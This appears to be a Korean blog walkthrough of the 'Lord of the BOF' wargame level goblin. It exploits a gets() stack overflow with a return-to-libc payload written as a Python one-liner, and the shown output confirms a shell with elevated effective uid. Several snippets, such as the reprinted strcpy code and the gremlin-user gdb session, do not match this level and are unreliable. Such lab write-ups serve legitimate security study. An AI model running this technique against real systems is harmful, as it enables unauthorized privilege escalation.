LOB cobolt => goblin

c0wb3ll ㅣ 2020. 3. 14. 01:09

LOB cobolt => goblin

소스코드

[cobolt@localhost cobolt]$ cat goblin.c 
/*
        The Lord of the BOF : The Fellowship of the BOF
        - goblin
        - small buffer + stdin
*/

int main()
{
    char buffer[16];
    gets(buffer);
    printf("%s\n", buffer);
}
[cobolt@localhost cobolt]$ 

cobolt 단계랑 다른건 입력받는 방식이다.

cobolt 단계에서는 argv로 인자를 입력받았지만 goblin단계에서는 gets()함수를 이용해 입력을 받고 있다.

취약점

int main(int argc, char *argv[])
{
    char buffer[16];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}
  1. gets() 함수로 buffer에 입력하는데 한도가 없다.
  2. 따라서 16byte 이상의 문자열을 입력하면 buffer를 넘어 메모리를 덮어쓸 수 있다.

풀이

(gdb) disas main
Dump of assembler code for function main:
0x80483f8 <main>:    push   %ebp
0x80483f9 <main+1>:    mov    %ebp,%esp
0x80483fb <main+3>:    sub    %esp,16
0x80483fe <main+6>:    lea    %eax,[%ebp-16]
0x8048401 <main+9>:    push   %eax
0x8048402 <main+10>:    call   0x804830c <gets>
0x8048407 <main+15>:    add    %esp,4
0x804840a <main+18>:    lea    %eax,[%ebp-16]
0x804840d <main+21>:    push   %eax
0x804840e <main+22>:    push   0x8048470
0x8048413 <main+27>:    call   0x804833c <printf>
0x8048418 <main+32>:    add    %esp,8
0x804841b <main+35>:    leave  
0x804841c <main+36>:    ret    
0x804841d <main+37>:    nop    
0x804841e <main+38>:    nop    
0x804841f <main+39>:    nop    
End of assembler dump.
(gdb) 

buffer의 위치는 ebp-16인것 같다. 익스코드는

buffer[16] + sfp[4] + ret(&system()) + 'AAAA' + "/bin/sh" 문자열

로 주면 될 것 같다. cobolt와 다를건 없다.

(gdb) b*main
Breakpoint 1 at 0x8048430
(gdb) r
Starting program: /home/gremlin/tmp/cobolt 

Breakpoint 1, 0x8048430 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb) 

system() 함수의 주소는 0x40058ae0이다.

[gremlin@localhost gremlin]$ export bin="/bin/sh" 
[gremlin@localhost gremlin]$ vi bin.c
[gremlin@localhost gremlin]$ gcc -o coblin bin.c
[gremlin@localhost gremlin]$ ./coblin 
envfunc bin address is 0xbffffdc5
[gremlin@localhost gremlin]$ ls                

/bin/sh문자열을 등록해둔 환경변수의 주소는 0xbffffdc5이다.

[cobolt@localhost cobolt]$ (python -c "print 'A'*20 + '\xe0\x8a\x05\x40' + 'aaaa' + '\xc5\xfd\xff\xbf'";cat) | ./goblin
AAAAAAAAAAAAAAAAAAAA?@aaaa퉈
Xshell
/bin/sh: Xshell: command not found
id
uid=502(cobolt) gid=502(cobolt) euid=503(goblin) egid=503(goblin) groups=502(cobolt)

cobolt와 다른 것은 입력방식 빼고는 다를 것 없는 단계였다.